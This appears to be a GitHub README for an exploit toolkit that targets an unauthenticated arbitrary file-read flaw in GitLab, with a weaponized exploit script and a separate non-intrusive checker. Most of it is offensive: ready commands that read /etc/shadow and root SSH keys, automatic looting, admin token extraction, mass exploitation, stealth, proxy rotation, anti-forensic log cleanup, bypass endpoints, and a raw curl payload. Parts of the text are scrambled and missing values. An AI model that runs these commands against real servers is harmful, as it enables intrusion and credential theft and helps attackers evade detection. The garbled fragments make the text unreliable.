tc4dy/cve-2026-85706-poc-toolkitPython toolkit for CVE-2026-85706 GitLab unauth file read: weaponized exploit with loot, shell, mass scan, plus non-intrusive SafeChecker audit and reporting.
⚠️ ETHICAL USE ONLY – AUTHORIZED SECURITY TESTING
This repository provides tools for authorized security professionals, blue teams, and penetration testers only.
Unauthorized access to computer systems is illegal under CFAA (US), Computer Misuse Act (UK), TCK 243/244 (Turkey), and similar laws worldwide.
CVE‑2026‑85706 is a critical unauthenticated arbitrary local file read vulnerability in (versions through ) that allows an unauthenticated attacker to read any file on the server via a single HTTP request to the commits API.
%63ommits./api/v4/projects/{id}/repository/commits endpoint opens the file specified in file.path before authentication is enforced.%-sequence, Rack echoes the content in a 400 Bad Request body, leaking the full content.| Tool | Purpose | Intended User |
|---|---|---|
exploit.py | Full weaponized toolkit with unauthenticated file read, loot enumeration, admin token extraction, mass scanning, interactive shell, proxy rotation, stealth mode, and multi-format reporting. | Red teams / authorized pentesters |
safechecker.py | Non‑intrusive vulnerability checker that detects GitLab version, validates exposure, audits security headers, and assesses risk without reading any file. Generates JSON/CSV/HTML reports. | Blue teams / security auditors |
| Feature | exploit.py | safechecker.py |
|---|---|---|
| Vulnerability detection | ✅ | ✅ |
| Version detection | ✅ | ✅ |
| Unauthenticated file read | ✅ | ❌ |
| Loot enumeration | ✅ | ❌ |
| Admin token extraction | ✅ | ❌ |
| Interactive shell | ✅ | ❌ |
| Mass scanning (multi‑thread) | ✅ | ✅ |
| Security headers audit | ❌ | ✅ |
| TLS/certificate check | ❌ | ✅ |
| MITRE ATT&CK mapping | ✅ | ✅ |
| Proxy support | ✅ | ✅ |
| Proxy rotation | ✅ | ❌ |
| User‑Agent rotation (OPSEC) | ✅ | ❌ |
| Jitter / delay (OPSEC) | ✅ | ❌ |
| Adaptive rate limiter | ✅ | ✅ |
| Stealth mode | ✅ | ❌ |
| curl_cffi TLS impersonation | ✅ | ❌ |
| Non‑intrusive (safe) mode | ❌ | ✅ |
| JSON / JSONL / CSV / HTML output | ✅ | ✅ |
| SQLite DB output | ✅ | ❌ |
| Webhook notification | ✅ | ✅ |
| Diff against previous scan | ✅ | ✅ |
| Log cleanup (anti‑forensic) | ✅ |
| Scenario | Recommended Tool |
|---|---|
| Blue Team – verifying if your GitLab is vulnerable | safechecker.py |
| Security Audit – non‑intrusive vulnerability assessment | safechecker.py |
| Red Team – authorized penetration testing with full exploitation | exploit.py |
| Bug Bounty – responsible disclosure testing | safechecker.py |
| Mass Scanning – checking multiple targets for vulnerability | exploit.py (detect‑only) |
| Incident Response – checking if systems are compromised | safechecker.py |
git clone https://github.com/tc4dy/CVE-2026-85706-PoC-Toolkit
cd CVE-2026-85706-PoC-Toolkit
pip install -r requirements.txt
requests
urllib3
curl_cffi
rich
pyyaml
exploit.py Parameters| Parameter | Description |
|---|---|
-u, --url | Single target URL (e.g. https://gitlab.example.com) |
-f, --file | File containing list of targets (one per line) |
--pipe | Read targets from stdin (subfinder/httpx pipeline) |
--read | Absolute path(s) to read, comma-separated |
--wordlist | File with paths to read (one per line) |
--project-id | Force a specific project ID |
--max-projects | Max project IDs to try (default: 8) |
--auto | Loot high-value GitLab files automatically |
--loot | Same as --auto |
--shell | Interactive shell after exploitation |
--force | Scan even if GitLab fingerprint is weak |
-t, --threads | Threads for multi‑target (default: 8) |
--timeout | HTTP timeout (default: 15s) |
--retry | Retry count (default: 3) |
--retry-on | HTTP codes to retry (default: 429,500,502,503,504) |
--proxy | HTTP/HTTPS proxy |
--proxy-list | File with proxies for rotation |
--proxy-rotate | Rotation strategy: round-robin, random, sticky |
--jitter | Add random jitter between requests |
--jitter-range | Jitter min,max seconds (default: 0.1,2.0) |
--delay | Fixed delay between requests |
--stealth | Enable stealth mode (UA rotation + X-Forwarded-For) |
--curl-cffi |
safechecker.py Parameters| Parameter | Description |
|---|---|
-u, --url | Single target URL (e.g. https://gitlab.example.com) |
-f, --file | File with targets (one per line) |
-t, --threads | Threads for multi‑target (default: 5) |
--timeout | HTTP timeout (default: 10s) |
--rate-limit | Max requests per second (0 = unlimited) |
--user-agent | Custom User-Agent string |
--insecure | Disable TLS verification (MITM risk) |
--webhook | Webhook URL (slack:, discord:, telegram:) |
--diff | Compare with previous scan JSON |
-v, --verbose | Verbose output |
-o, --output | JSON output file |
--csv | CSV output file |
--report | HTML report file |
--mitre | Include MITRE ATT&CK mapping (default: on) |
| # | Scenario | Command |
|---|---|---|
| 1 | Quick vulnerability check | python safechecker.py -u https://gitlab.example.com |
| 2 | Detailed audit with report | python safechecker.py -u https://gitlab.example.com -o report.json --csv report.csv --report report.html -v |
| 3 | Mass audit from file | python safechecker.py -f targets.txt -t 10 --rate-limit 5 |
| 4 | Detect-only exploit | python exploit.py -u https://gitlab.example.com --safe-mode |
| 5 | Read a single file | python exploit.py -u https://gitlab.example.com --read /etc/passwd |
| 6 | Read multiple files | python exploit.py -u https://gitlab.example.com --read /etc/passwd,/etc/shadow,/root/.ssh/id_rsa |
| 7 | Auto loot high-value files | python exploit.py -u https://gitlab.example.com --auto |
| 8 | Interactive shell | python exploit.py -u https://gitlab.example.com --shell |
| 9 | Mass exploit with stealth | python exploit.py -f targets.txt -t 20 --stealth --jitter --auto -o hits.jsonl --output-format jsonl |
| 10 | Pipeline from subfinder | subfinder -d example.com -silent | httpx -silent -sc | python exploit.py --pipe --auto -o hits.jsonl |
| 11 | Full attack with SIEM output | python exploit.py -u https://gitlab.example.com --auto --grep "password|secret|token" --mitre --json-schema -o siem.json |
| 12 | Resume interrupted scan | python exploit.py -f targets.txt --auto --resume state.json |
| 13 | Compare two scans | python safechecker.py -f targets.txt -o new.json --diff previous.json |
The exploit uses the following GitLab endpoints and bypass techniques:
| Step | Method | Endpoint | Description |
|---|---|---|---|
| 1. Bypass | POST | /api/v4/projects/{id}/repository/%63ommits | Encoded c bypasses Workhorse |
| 2. Bypass | POST | /api/v4/projects/{id}/%72epository/commits | Encoded r in repository |
| 3. Bypass | POST | /api/v4/projects/{id}/repository/commits/ | Trailing slash bypass |
| 4. Bypass | POST | /api/v4/projects/{id}/repository/commits.json | Grape format suffix bypass |
| 5. Files API | POST | /api/v4/projects/{id}/repository/files/x | Alternative route |
file=&file.path=/etc/passwd&file.size=1
curl -sk -X POST "https://gitlab.example.com/api/v4/projects/1/repository/%63ommits?file=&file.path=/etc/passwd&file.size=1&Content-Type=application/x-www-form-urlencoded"
This software is provided for educational purposes and authorized security testing only.
| ❌ |
| Custom User‑Agent | ✅ | ✅ |
| SSL verification control | ✅ | ✅ |
| Use curl_cffi for TLS fingerprint impersonation |
--user-agent-file | File with User-Agent strings |
--max-body | Max response body size (0 = unlimited) |
--concurrent-per-host | Max concurrent requests per host |
--rate-limit | Max requests per second (0 = unlimited) |
--exclude | Comma-separated hosts to exclude (glob patterns) |
--grep | Only show leaks matching regex |
--resume | Resume from state file |
--notify | Notification URL (slack:, discord:, telegram:) |
--db | Save results to SQLite database |
--output-format | Output format: json, jsonl, csv, html |
-o, --output | Output file path |
-v, --verbose | Verbose output |
-q, --quiet | Quiet mode |
--no-color | Disable colors |
--no-banner | No banner |
--config | YAML/JSON config file |
--dry-run | Show plan without making requests |
--safe-mode | Only read /etc/hostname to verify |
--timeout-profile | aggressive, normal, stealth |
--mitre | Include MITRE ATT&CK mapping |
--fingerprint | Detailed GitLab fingerprint |
--cve-check | Check for related CVEs |
--json-schema | Output with JSON schema for SIEM |
--progress | Show progress bar (requires rich) |